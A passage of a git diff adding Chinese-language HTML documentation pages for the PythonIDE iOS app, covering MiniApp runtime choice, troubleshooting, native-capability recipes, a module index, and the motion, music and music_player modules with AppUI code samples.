用于主屏、锁屏和 StandBy 小组件。它没有普通页面输入和长列表交互,适合信息展示、参数配置、时间线刷新和受控桌面按钮。

+

#console

+

用于一次性脚本、批处理、日志输出和转换任务。用户只需要看输出时,不要硬做 AppUI。

+

#scene

+

用于持续绘制、游戏、精灵、物理和触摸循环。它不是设置页、列表页或表单页的替代品。

+

#ui

+

用于 Pythonista 兼容的命令式界面脚本。新 MiniApp 默认不要从 ui 开始;需要原生 App 风格页面时用 appui

+

#HTML / WebView

+

用于已有 Web 页面、必须复用 DOM/CSS/JS 的内容,或需要展示外部网页。普通 iOS 风格工具页不建议用 Web 结构模拟。

+

#选择规则

+
  • 不确定时先选 appui,因为它覆盖表单、列表、导航、设置和大多数工具页。
  • 用户要求“桌面小组件、主屏卡片、锁屏信息”,选 widget
  • 用户要求“小游戏、画布、碰撞、持续动画”,选 scene
  • 只有输出、批处理或转换任务时,选 console
  • 需要设备能力时,先查 原生能力入口
+

#失败路径

+
  • 页面像网页而不是原生 App:回到 appui,使用 NavigationStackFormList
  • 小组件脚本无法输入文字:这是 widget 的边界;需要输入时做 AppUI 页面。
  • 动画不连续:AppUI 适合界面状态动画;游戏循环和持续绘制交给 scene
  • 命令脚本维护成本变高:如果只是输出文本,保持 console,不要额外做页面。
+

#相关文档

+
文档用途
快速上手跑通第一个 AppUI MiniApp。
AppUI UI 模式选择页面结构和常见模式。
AppUI API 地图按任务查 API。
MiniApp 开发排错排查入口、状态、布局和系统能力。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/miniapp-dev-troubleshooting/index.html b/docs/docs/pages/miniapp-dev-troubleshooting/index.html new file mode 100644 index 0000000..f3a0cef --- /dev/null +++ b/docs/docs/pages/miniapp-dev-troubleshooting/index.html @@ -0,0 +1,384 @@ + + + + + + MiniApp 开发排错 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

MiniApp 开发排错

+

排查入口、状态、按钮、输入、列表、布局和系统能力问题。

+
+ +
+

排错先看运行时是否选对,再看入口是否完整,最后查状态、交互、布局和系统能力。不要只确认“预览能打开”,还要确认按钮、输入、搜索、刷新和弹层都能产生可见变化。

+

#最小健康样例

+
+
+ python +
+
+
import appui
+
+state = appui.State(saved=False)
+
+
+def save():
+    state.saved = True
+
+
+def body():
+    label = "Saved" if state.saved else "Not saved"
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Action", [
+                appui.LabeledContent("Status", value=label),
+                appui.Button("Save", action=save)
+                .button_style("bordered_prominent"),
+            ])
+        ]).navigation_title("排错")
+    )
+
+
+appui.run(body, state=state)
+
+

预期效果:页面显示保存状态,点击 Save 后状态从 Not saved 变成 Saved

+

#快速定位

+
现象先查继续看
预览打不开import appuibody()appui.run(...)快速上手
点按钮没反应action 是否传函数本身AppUI API 地图
输入不更新on_change 是否写回 State状态管理
列表刷新错乱ForEach 是否有稳定 key布局系统
页面不像原生 App是否使用 ListFormNavigationStackAppUI UI 模式
高频刷新卡顿Timer 是否在 body() 外创建性能与实时界面
权限或系统能力失败是否处理拒绝、取消和不可用原生能力入口
+

#正确的按钮写法

+
+
+ python +
+
+
def save():
+    state.saved = True
+
+
+appui.Button("Save", action=save)
+
+

不要这样写:

+
+
+ python +
+
+
appui.Button("Save", action=save())
+
+

save() 会在构建页面时立刻执行,按钮拿不到正确回调。

+

#正确的列表写法

+
+
+ python +
+
+
def row_key(row):
+    return row["id"]
+
+
+def row_view(row):
+    return appui.Text(row["title"])
+
+
+appui.ForEach(rows, row_builder=row_view, key=row_key)
+
+

不要把筛选后的 index 当 key。删除、重排、搜索后 index 会变化,行状态可能错位。

+

#运行前检查

+
  • 完整示例应该能独立复制运行,入口只保留一次 appui.run(...)
  • 按钮、输入、搜索、刷新和弹层都应该有可见状态变化。
  • 动态列表必须有稳定 key,删除、搜索、重排后不能错行。
  • 涉及相册、相机、定位、通知、健康数据等能力时,要处理权限拒绝、用户取消和设备不可用。
  • 网络、文件、权限请求不要直接写在 body() 里,放到按钮、刷新或明确的加载动作中。
  • 失败时保留旧数据或显示空状态,不要让页面静默空白。
+

#失败路径

+
  • 空白:先跑本页“最小健康样例”。如果它能显示,问题通常在你的状态、资源、权限或页面结构中。
  • 交互无效:确认回调是命名函数,并且回调里修改了 State
  • 输入无法保存:确认 on_change 接收新值,保存按钮读取的是同一个 State
  • 列表错行:确认每个数据项有稳定 id,并传给 ForEach(..., key=...)
  • 页面结构失控:回到 AppUI UI 模式,先确定页面类型。
+

#相关文档

+
文档用途
运行时选择判断 AppUI、widget、ui、scene 和 console。
快速上手用四个可预览示例掌握入口、状态、表单和导航。
AppUI UI 模式常见页面结构和反模式。
AppUI API 地图按任务查 API。
原生能力入口系统能力、权限和失败路径。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/miniapp-native-capabilities/index.html b/docs/docs/pages/miniapp-native-capabilities/index.html new file mode 100644 index 0000000..1cac3b3 --- /dev/null +++ b/docs/docs/pages/miniapp-native-capabilities/index.html @@ -0,0 +1,429 @@ + + + + + + 原生能力入口 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

原生能力入口

+

MiniApp 常用原生能力入口,不是完整模块总表。

+
+ +
+
主文档已合并:入口模型、Python 模块表、AppUI 原生组件入口表与侧边栏导航均由 schema 生成,请优先阅读 **iOS 原生能力**。本文仅保留历史深链,不再维护独立能力表。
+

MiniApp 场景下的原生能力配方:按任务选模块、组合调用、状态写回界面。

+
边界:这是 MiniApp 配方索引,不是可 import 的模块。完整 API 以各模块文档为准;系统调用放在按钮回调,不要写在 body() 里。
+

#模块概览

+
说明
导入按场景 import 对应模块(如 photosstorage
适合做什么选图、定位、通知、持久化、网络列表等 MiniApp 常见流
调用时机按钮、刷新、选择器触发;body() 只读 State
数据分工设置 storage、记录 database、密钥 keychain
反馈成功/取消/失败都写回 State 或 HUD
+
+

#快速开始

+

保存主题并触发触觉反馈:

+
+
+ python +
+
+
import haptics
+import storage
+
+storage.set("demo.theme", "Dark")
+if haptics.is_supported():
+    haptics.notification("success")
+print("已保存:", storage.get("demo.theme"))
+
+
+

#AppUI 示例

+

设备信息、快照、通知组合;所有原生调用在按钮回调里。

+
+
+ python +
+
+
import appui
+import device
+import haptics
+import notification
+import storage
+
+SNAPSHOT_KEY = "native.snapshot"
+REMINDER_ID = "native.snapshot.reminder"
+
+state = appui.State(
+    message="就绪",
+    rows=[
+        {"id": "model", "title": "型号", "value": "点击刷新"},
+        {"id": "battery", "title": "电量", "value": "—"},
+    ],
+)
+
+
+def row_key(row):
+    return row["id"]
+
+
+def row_view(row):
+    return appui.LabeledContent(row["title"], value=row["value"])
+
+
+def refresh_device_info():
+    state.rows = [
+        {"id": "model", "title": "型号", "value": device.model()},
+        {"id": "battery", "title": "电量", "value": f"{device.battery_level():.0%}"},
+    ]
+    state.message = "设备信息已刷新"
+
+
+def save_snapshot():
+    storage.set_json(SNAPSHOT_KEY, state.rows)
+    if haptics.is_supported():
+        haptics.notification("success")
+    state.message = "快照已保存"
+
+
+def remind_later():
+    perm = notification.request_permission()
+    if not perm.get("granted"):
+        state.message = "未获得通知权限"
+        return
+
+    result = notification.schedule(
+        REMINDER_ID,
+        "原生快照",
+        "查看已保存的设备快照",
+        delay=60,
+    )
+    state.message = f"已调度提醒: {result}"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("设备", [
+                appui.ForEach(state.rows, row_builder=row_view, key=row_key),
+            ]),
+            appui.Section("操作", [
+                appui.Button("刷新设备", action=refresh_device_info),
+                appui.Button("保存快照", action=save_snapshot)
+                .button_style("bordered_prominent"),
+                appui.Button("1 分钟后提醒", action=remind_later),
+            ], footer=state.message),
+        ]).navigation_title("原生能力")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#能力入口

+
能力主文档典型用途
定位与地图location坐标、地理编码、指南针
相册与相机photos选图、拍照、保存
通知与实时活动notificationlive_activity提醒、角标、锁屏状态
持久化storagedatabasekeychain设置、记录、密钥
设备与传感器devicemotion屏幕、电池、传感器
触觉与声音hapticssound反馈、提示音
网络networkwebsocketHTTP、实时连接
编辑器工具栏keyboard插入代码片段
+

#场景配方

+
目标推荐组合说明
选图并保存设置appui + photos + storage按钮触发 picker,路径写入 State
下载并存相册network + photos下载到本地再 save_video
地图展示位置permission + location + MapView先查权限再定位
健康面板permission + health + Chart拒绝时显示空状态
提醒任务notification + storage稳定 identifier 调度/取消
播放历史database + List大列表勿塞 storage
安全配置biometric + keychain + Form密钥进 keychain
传感器面板motion + haptics高频数据避免每帧重建 UI
远端列表network + List + .refreshable请求放刷新回调
+

#使用规则

+
  • 权限类能力先查状态,再请求。
  • 触觉、通知、声音不要在循环里连续触发。
  • 写代码前打开对应模块文档,按公开 Python API 调用。
+
+

#常见错误

+
错误写法后果修正
body() 里请求权限/发通知刷新时反复弹窗放进按钮回调
token 写入 storage 或日志泄露风险keychain
权限拒绝后空白页用户不知原因显示说明与重试按钮
用户取消选择未处理崩溃或脏状态判断 None 并保留原状态
网络失败清空旧数据体验差保留缓存并显示错误
+
+

#相关文档

+
文档用途
iOS 原生能力入口模型、模块表与权限矩阵
全部模块总览按分类浏览模块
运行时选择appui / scene / widget 选型
permission统一权限查询与申请
photos相册与相机
notification本地通知
+

#使用原则

+
  • 原生能力放在用户触发的回调里,不要写在 body() 构建期
  • 先查最小模块,再组合;避免一次 import 多个无关模块
  • 返回值、取消和拒绝都要给用户可见反馈
+

#失败路径

+
情况处理
权限拒绝提示去设置开启,并保留当前页面
设备不支持is_available() 或模块返回值判断
用户取消不要当作成功继续写数据
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,请按「失败路径」排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/modules-index/index.html b/docs/docs/pages/modules-index/index.html new file mode 100644 index 0000000..3ccf1b5 --- /dev/null +++ b/docs/docs/pages/modules-index/index.html @@ -0,0 +1,419 @@ + + + + + + 全部模块总览 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

全部模块总览

+

按分类查看全部 30+ 内置 Python 模块。

+
+ +
+
主入口iOS 原生能力(入口模型、Python 模块表、AppUI 原生组件入口、专题页与文档导航)。本文是补充索引,按导入名浏览全部模块。
+

按分类浏览 PythonIDE 内置 Python 模块,快速找到对应能力文档。

+
边界:这是 模块索引页,不是 import 名。选定模块后打开具体文档;页面型 MiniApp 优先 appui,小组件用 widget
+

#模块概览

+
说明
导入表中「导入名」列,如 import photos
适合做什么按任务选运行时与原生模块
页面型 Appappui + 原生模块按钮回调
小组件widget
游戏/绘制scene / turtle
+
+

#快速开始

+

保存设置、读设备、查通知权限:

+
+
+ python +
+
+
import device
+import notification
+import storage
+
+storage.set("theme", "system")
+print("device", device.model(), device.system_version())
+print("theme", storage.get("theme", "system"))
+
+if notification.authorization_status() != "authorized":
+    notification.request_permission()
+
+
+

#AppUI 示例

+

用索引思路组合三个常用模块:设置、设备、通知。

+
+
+ python +
+
+
import appui
+import device
+import notification
+import storage
+
+state = appui.State(
+    theme=storage.get("theme", "system"),
+    model="—",
+    notify_auth="—",
+    message="点击按钮开始",
+)
+
+
+def refresh_all():
+    state.model = device.model()
+    state.notify_auth = str(notification.authorization_status())
+    state.message = "已刷新"
+
+
+def save_theme():
+    storage.set("theme", state.theme)
+    state.message = f"已保存主题: {state.theme}"
+
+
+def request_notify():
+    result = notification.request_permission()
+    state.notify_auth = str(notification.authorization_status())
+    state.message = "已授权" if result.get("granted") else "未授权"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("设置", [
+                appui.Picker(
+                    "主题",
+                    selection=state.theme,
+                    options=["system", "light", "dark"],
+                ).picker_style("segmented"),
+                appui.Button("保存主题", action=save_theme)
+                .button_style("bordered_prominent"),
+            ]),
+            appui.Section("设备与通知", [
+                appui.Button("刷新状态", action=refresh_all),
+                appui.Button("申请通知权限", action=request_notify),
+                appui.LabeledContent("型号", value=state.model),
+                appui.LabeledContent("通知授权", value=state.notify_auth),
+                appui.Text(state.message).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("模块总览")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#先选运行时

+
目标首选
工具页、设置页、列表页、媒体控制appui
主屏/锁屏/StandBy 小组件widget
Pythonista 风格命令式 UIui
2D 游戏、物理、逐帧绘制scene
系统能力(照片、定位等)对应原生模块 + AppUI 按钮
纯脚本、日志输出Python + console
+

#UI 与渲染

+
模块导入名用途
appuiimport appui声明式原生界面与 MiniApp
aurora_systemimport aurora_system相机、传感器等实时事件
aurora_toolkitimport aurora_toolkit高频更新与批量刷新工具
uiimport uiPythonista 风格 UI
sceneimport scene2D 场景、scene.run、节点、Action、物理与 Classic 绘图
turtleimport turtle原生 turtle 绘图
+

#设备与传感器

+
模块导入名用途
deviceimport device设备、屏幕、电池
locationimport location定位、指南针、地理编码
motionimport motion加速度计、陀螺仪、气压计
hapticsimport haptics触觉反馈
biometricimport biometricFace ID / Touch ID
healthimport healthHealthKit 数据
+

#系统服务

+
模块导入名用途
permissionimport permission统一权限查询与申请
storageimport storageUserDefaults 键值
databaseimport databaseSQLite 与 JSON collection
keychainimport keychain钥匙串
clipboardimport clipboard剪贴板
consoleimport console弹窗、HUD
dialogsimport dialogs表单与选择器对话框
notificationimport notification本地通知
calendar_eventsimport calendar_events日历与提醒
contactsimport contacts联系人
live_activityimport live_activityLive Activity
nfcimport nfcNFC 读写
alarmimport alarm系统闹钟
mailimport mail邮件撰写
messageimport message短信 / iMessage
translationimport translation设备端翻译
foundation_modelsimport foundation_models端侧文本生成
assistantimport assistant端侧助手与工具
storekitimport storekit内购与订阅
font_pickerimport font_picker字体选择器
+

#媒体与视觉

+
模块导入名用途
photosimport photos相册、拍照、保存
camera见 photos拍照(photos.capture_image
file_picker见 appui文件选择(FileImporter
share见 appui分享(ShareLink
avplayerimport avplayer音视频播放
music_playerimport music_player队列式音乐播放器
soundimport sound音效与本地播放器
now_playingimport now_playing锁屏正在播放元数据
audio_recorderimport audio_recorder录音
video_recorderimport video_recorder录像
audio_sessionimport audio_session音频会话
speechimport speech文字转语音
speech_recognitionimport speech_recognition语音识别
shazamimport shazam听歌识曲
musicimport musicApple Music 控制
media_composerimport media_composer音视频合成
pdfimport pdfPDF 创建与预览
qrcodeimport qrcode二维码生成
visionimport visionOCR
vision_helperimport vision_helper人脸、条码、分类
coremlimport coremlCore ML 推理
+

#网络与数据

+
模块导入名用途
networkimport networkHTTP、下载
websocketimport websocketWebSocket 客户端
bluetoothimport bluetoothBLE 中心模式
ble_peripheralimport ble_peripheralBLE 外设模式
backgroundimport background后台任务
background_downloadimport background_download后台下载
http_serverimport http_server本地 HTTP 服务
sshimport sshSSH / SFTP
weatherimport weather天气
c_extensions不是 import 名内置 C 扩展清单
+

#自动化与扩展

+
模块导入名用途
widgetimport widgetWidgetKit 小组件
shortcutsimport shortcuts快捷指令
objc_utilimport objc_utilObjC Runtime
keyboardimport keyboard编辑器键盘工具栏
+
+

#常见错误

+
错误写法后果修正
不选运行时直接用原生模块堆 UI难维护页面用 appui
import c_extensions模块不存在用真实包名
索引页当 API 文档签名错误点进具体模块页
权限未说明用途就申请被拒率高先展示说明再按钮申请
敏感数据用 storage不安全keychain
+
+

#相关文档

+
文档用途
iOS 原生能力入口模型、模块表与权限矩阵
原生能力入口MiniApp 配方
permission权限
appui声明式 UI
+

#发布前检查

+
  • 已选对运行时(AppUI / widget / scene / ui)
  • 模块 API 名与文档一致
  • 权限与失败路径已在示例或正文中说明
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,请按「失败路径」排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/motion-module/index.html b/docs/docs/pages/motion-module/index.html new file mode 100644 index 0000000..d009277 --- /dev/null +++ b/docs/docs/pages/motion-module/index.html @@ -0,0 +1,439 @@ + + + + + + motion - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

motion

+

设备运动、陀螺仪、磁力计和气压计。

+
+ +
+

设备运动传感器:加速度、重力、陀螺仪、磁力计、姿态与气压高度。

+
边界:传感器耗电;start_* 后必须 stop_*。读取放在按钮回调或 Timer 轮询,不要在 body() 里启动采集。模拟器数据有限,真机测试更可靠;读取可能返回 None,需判空。
+

#模块概览

+
说明
导入import motion
适合做什么运动仪表盘、倾斜检测、简单姿态反馈、气压变化
调用时机start_updates() 后轮询 get_*();停止时 stop_updates()
推荐顺序is_available()start_* → 采样 → stop_*
刷新频率UI 展示 0.2–1 秒一次即可,不必 60Hz 重建界面
+
+

#快速开始

+

下面脚本启动综合运动更新并读取数据:

+
+
+ python +
+
+
import time
+import motion
+
+if not motion.is_available():
+    print("当前设备不支持运动数据")
+else:
+    motion.start_updates(interval=1 / 30)
+    try:
+        time.sleep(0.2)
+        print("加速度:", motion.get_acceleration())
+        print("重力:", motion.get_gravity())
+        print("旋转:", motion.get_rotation_rate())
+        print("姿态:", motion.get_attitude())
+    finally:
+        motion.stop_updates()
+
+

单独使用气压计:

+
+
+ python +
+
+
import motion
+
+motion.start_altimeter()
+try:
+    print(motion.get_altitude())  # {pressure, relative_altitude}
+finally:
+    motion.stop_altimeter()
+
+
+

#AppUI 示例

+

开始/停止放在按钮回调;用 Timer 轮询采样,停止时关掉定时器。

+
+
+ python +
+
+
import appui
+import motion
+
+state = appui.State(
+    accel="—",
+    attitude="—",
+    status="点击开始采集",
+)
+
+
+def sample_motion():
+    acc = motion.get_acceleration()
+    att = motion.get_attitude()
+    if acc:
+        state.accel = f"x={acc['x']:.2f} y={acc['y']:.2f} z={acc['z']:.2f}"
+    if att:
+        state.attitude = f"roll={att['roll']:.2f} pitch={att['pitch']:.2f}"
+
+
+poll_timer = appui.Timer(interval=0.5, repeats=True, action=sample_motion)
+
+
+def start_sampling():
+    if not motion.is_available():
+        state.status = "设备不支持运动数据"
+        return
+    motion.start_updates(interval=1 / 30)
+    poll_timer.start()
+    state.status = "采集中…"
+
+
+def stop_sampling():
+    poll_timer.stop()
+    motion.stop_updates()
+    state.status = "已停止"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("采样", [
+                appui.Button("开始", action=start_sampling)
+                .button_style("bordered_prominent"),
+                appui.Button("停止", action=stop_sampling),
+            ]),
+            appui.Section("数据", [
+                appui.LabeledContent("加速度", value=state.accel),
+                appui.LabeledContent("姿态", value=state.attitude),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ], footer="真机测试;停止时务必调用 stop_updates。"),
+        ]).navigation_title("运动传感器")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
is_available()是否支持运动数据
start_updates / stop_updates综合 device motion
start_accelerometer / stop_accelerometer仅加速度计
start_gyroscope / stop_gyroscope仅陀螺仪
start_magnetometer / stop_magnetometer仅磁力计
start_altimeter / stop_altimeter气压高度计
get_acceleration()读取最新采样
+

#启动与停止

+

start_updates(interval=0) — 综合采集(加速度 + 陀螺仪 + 姿态等)。interval 为秒,1/30 ≈ 30Hz;0 使用默认约 60Hz。

+
+
+ python +
+
+
motion.start_updates(interval=1 / 10)
+# … 读取 …
+motion.stop_updates()
+
+

各传感器可单独启停:start_accelerometerstart_gyroscopestart_magnetometerstart_altimeter

+

#读取

+
函数返回
get_acceleration(){x, y, z}None
get_gravity(){x, y, z}None
get_rotation_rate(){x, y, z}None
get_magnetic_field(){x, y, z}None
get_attitude(){roll, pitch, yaw}None
get_altitude(){pressure, relative_altitude}None
+

未启动对应 start_* 或硬件无数据时返回 None

+
+

#常见错误

+
错误写法后果修正
startstop持续耗电try/finally 或按钮停止
body()start_updates刷新时重复启动放进按钮回调
不判断 None解包崩溃if data:
高频重建大界面卡顿Timer 0.5s+ 或 Aurora 快路径
模拟器当真机数据全零或不可用真机验证
+
+

#相关文档

+
文档用途
haptics运动反馈震动
health步数等健康数据
device设备信息与电量
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/music-module/index.html b/docs/docs/pages/music-module/index.html new file mode 100644 index 0000000..594b729 --- /dev/null +++ b/docs/docs/pages/music-module/index.html @@ -0,0 +1,487 @@ + + + + + + music - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

music

+

Apple Music 播放控制与曲库搜索。

+
+ +
+

Apple Music 播放控制与曲库搜索:播放/暂停、切歌、当前曲目、目录检索(MusicKit)。

+
边界:控制系统 Apple Music 播放与目录搜索,不播放本地文件。需 MusicKit 授权;无订阅时搜索仍可用,播放需要有效 Apple Music 订阅。必须先 play_song() / play_songs() 设置队列,再 play() 继续播放。
+

#模块概览

+
说明
导入import music
适合做什么播放控制面板、曲库搜索、显示正在播放
调用时机播放/搜索放在按钮回调
推荐顺序request_authorization()search()play_song(id)
授权authorization_status() 查询;request_authorization() 弹窗
+
+

#快速开始

+

申请授权、搜索并播放第一首:

+
+
+ python +
+
+
import music
+
+print("授权状态:", music.authorization_status())
+if music.request_authorization():
+    results = music.search("Beatles", limit=5)
+    if results:
+        music.play_song(results[0]["id"])
+        print("正在播放:", music.current_track())
+
+

暂停与继续:

+
+
+ python +
+
+
import music
+
+music.pause()
+music.play()   # 仅当队列里已有曲目时可用
+
+
+

#AppUI 示例

+

先搜索保存曲目 ID,再播放;play() 只用于暂停后继续。

+
+
+ python +
+
+
import appui
+import music
+
+state = appui.State(
+    auth="—",
+    track="—",
+    search_hit="—",
+    queued_song_id="",
+)
+
+
+def refresh_auth():
+    state.auth = music.authorization_status()
+
+
+def request_auth():
+    ok = music.request_authorization()
+    refresh_auth()
+    state.search_hit = "已授权" if ok else "未授权"
+
+
+def search_demo():
+    refresh_auth()
+    if state.auth != "authorized":
+        state.search_hit = "请先授权"
+        return
+
+    songs = music.search("钢琴", limit=3) or []
+    if not songs:
+        state.search_hit = "无结果"
+        state.queued_song_id = ""
+        return
+
+    first = songs[0]
+    state.queued_song_id = str(first.get("id") or "")
+    state.search_hit = f"{first.get('title')} — {first.get('artist')}"
+
+
+def play_selected():
+    refresh_auth()
+    if state.auth != "authorized":
+        state.search_hit = "请先授权"
+        return
+    if not state.queued_song_id:
+        state.search_hit = "请先搜索曲目"
+        return
+
+    try:
+        music.play_song(state.queued_song_id)
+        track = music.current_track()
+        if track:
+            state.track = f"{track.get('title')} — {track.get('artist')}"
+        else:
+            state.track = "已开始播放"
+        state.search_hit = "播放中"
+    except music.MusicError as err:
+        state.search_hit = str(err)
+        if err.code == "subscription_required":
+            state.track = "需要 Apple Music 订阅"
+
+
+def resume_playback():
+    try:
+        music.play()
+        track = music.current_track()
+        if track:
+            state.track = f"{track.get('title')} — {track.get('artist')}"
+        state.search_hit = "继续播放"
+    except music.MusicError as err:
+        state.search_hit = str(err)
+
+
+def pause_track():
+    music.pause()
+    state.track = "已暂停"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("授权", [
+                appui.Button("申请 MusicKit 授权", action=request_auth)
+                .button_style("bordered_prominent"),
+            ]),
+            appui.Section("控制", [
+                appui.Button("搜索「钢琴」", action=search_demo),
+                appui.Button("播放搜索结果", action=play_selected)
+                .button_style("bordered_prominent"),
+                appui.Button("继续播放", action=resume_playback),
+                appui.Button("暂停", action=pause_track),
+            ]),
+            appui.Section("状态", [
+                appui.LabeledContent("授权", value=state.auth),
+                appui.LabeledContent("正在播放", value=state.track),
+                appui.LabeledContent("搜索", value=state.search_hit),
+            ], footer="播放前需先搜索;无订阅时可能返回 subscription_required。"),
+        ]).navigation_title("Apple Music")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
authorization_status()not_determined / denied / restricted / authorized
request_authorization()申请授权 → bool
search(term, limit=25)曲库搜索 → [{id, title, artist, album}, ...]
play_song(song_id)用目录 ID 建队列并播放(推荐
play_songs(song_ids)多首入队并播放
play_search_result(song)播放 search() 返回的单条 dict
play()继续播放当前队列(队列空 → empty_queue
pause()暂停
skip_to_next() / skip_to_previous()切歌
current_track(){'id','title','artist','album','duration'}None
+

#授权

+
+
+ python +
+
+
status = music.authorization_status()
+if music.request_authorization():
+    ...
+
+

#搜索与播放

+
+
+ python +
+
+
songs = music.search("Beatles", limit=10)
+music.play_song(songs[0]["id"])
+# 或
+music.play_search_result(songs[0])
+
+music.pause()
+music.play()   # resume
+track = music.current_track()
+
+

失败抛 MusicError,常见 code

+
code含义
denied未授权
empty_queue队列空时调用了 play()
not_found目录 ID 无效
subscription_required可能需要 Apple Music 订阅
playback_failed其他播放错误
+
+

#常见错误

+
错误写法后果修正
未授权就 search / play_songMusicError: deniedrequest_authorization()
直接 play() 不搜歌empty_queueplay_song(id)
期望播放本地 MP3能力不匹配avplayer
无订阅强行播放subscription_required开通 Apple Music 或只展示搜索结果
+
+

#相关文档

+
文档用途
avplayer本地/网络音视频播放
audio_session音频会话配置
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/music-player-module/index.html b/docs/docs/pages/music-player-module/index.html new file mode 100644 index 0000000..27b597c --- /dev/null +++ b/docs/docs/pages/music-player-module/index.html @@ -0,0 +1,479 @@ + + + + + + music_player - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

music_player

+

队列式原生音乐播放器、锁屏控制和播放恢复。

+
+ +
+

队列式原生音乐播放器:维护当前歌曲、播放队列、播放模式、进度、错误状态、锁屏 Now Playing、控制中心按钮和上次播放恢复。

+
边界music_player 播放你自己的 URL / 本地音频队列;music 是 Apple Music / MusicKit;avplayer 是低层单媒体播放器;now_playing 只发布元数据。播放、切歌、恢复和系统控制属于副作用,放在按钮回调、页面初始化或用户确认流程里,不要在 AppUI body() 中反复调用。
+

#模块概览

+
说明
导入import music_player
适合做什么音乐 MiniApp、歌单播放器、搜索结果播放、后台音乐播放
不适合做什么Apple Music 资料库控制、短音效、AppUI 内嵌视频
状态归属宿主全局播放器服务
系统集成可选 Now Playing、控制中心 / 锁屏按钮、后台音频
恢复restore() 恢复上次队列、当前歌曲、进度和播放模式
+
+

#快速开始

+
+
+ python +
+
+
import music_player
+
+songs = [
+    {
+        "title": "Demo Track",
+        "artist": "PythonIDE",
+        "url": "https://example.com/demo.mp3",
+        "artwork_url": "https://example.com/cover.jpg",
+    }
+]
+
+music_player.set_queue(songs, start_index=0)
+music_player.play()
+print(music_player.state())
+
+

如果队列里的歌曲已经带有真实音频 URL,可以让宿主提前准备后面的几首,降低下一曲等待:

+
+
+ python +
+
+
music_player.set_queue(songs, start_index=0, autoplay=True, preload_count=3)
+music_player.prefetch_next(count=3)
+
+
preload_count / prefetch_next() 只预加载已经有 url 的音频。搜索平台 ID、聚合源 ID 或需要签名换链的歌曲,应先在你的 MiniApp 后台解析成真实 URL,再交给 music_player
+

如果不想显示锁屏卡片或接管控制中心按钮,在播放前关闭:

+
+
+ python +
+
+
music_player.configure(
+    now_playing=False,
+    remote_commands=False,
+    background=False,
+)
+
+
+

#AppUI 示例

+

UI 完全由你自己写,播放器只提供能力:

+
+
+ python +
+
+
import json
+import appui
+import music_player
+
+songs = [
+    {
+        "title": "Night Demo",
+        "artist": "PythonIDE",
+        "url": "https://example.com/night.mp3",
+        "artwork_url": "https://example.com/night.jpg",
+    },
+    {
+        "title": "Morning Demo",
+        "artist": "PythonIDE",
+        "url": "https://example.com/morning.mp3",
+    },
+]
+
+state = appui.State(
+    title="未播放",
+    artist="",
+    status="ready",
+    elapsed="0:00",
+    mode="sequence",
+)
+
+
+def handle_player_event(payload):
+    data = json.loads(payload or "{}")
+    current = data.get("current") or {}
+    state.title = current.get("title") or current.get("name") or "未播放"
+    state.artist = current.get("artist") or ""
+    state.status = data.get("state", "ready")
+    seconds = int(data.get("elapsed") or 0)
+    state.elapsed = f"{seconds // 60}:{seconds % 60:02d}"
+
+
+music_player.on_event(
+    handle_player_event,
+    events=["ready", "play", "pause", "current", "ended", "progress", "remote_command"],
+)
+
+
+def load_and_play():
+    music_player.configure(now_playing=True, remote_commands=True, background=True)
+    music_player.set_queue(songs, start_index=0)
+    music_player.play()
+
+
+def toggle_mode():
+    next_mode = "repeat_all" if state.mode == "sequence" else "shuffle" if state.mode == "repeat_all" else "sequence"
+    state.mode = next_mode
+    music_player.set_play_mode(next_mode)
+
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.Text(state.title).font("title2").bold(),
+            appui.Text(state.artist or "—").foreground_color("secondaryLabel"),
+            appui.Text(f"{state.status} · {state.elapsed}").font("caption"),
+            appui.HStack([
+                appui.Button("上一首", action=music_player.previous),
+                appui.Button("播放", action=load_and_play).button_style("bordered_prominent"),
+                appui.Button("暂停", action=music_player.pause),
+                appui.Button("下一首", action=music_player.next),
+            ], spacing=10),
+            appui.Button(f"模式: {state.mode}", action=toggle_mode),
+        ], spacing=14)
+        .padding()
+        .navigation_title("音乐播放器")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#歌曲字段

+

每首歌至少需要 url

+
字段说明
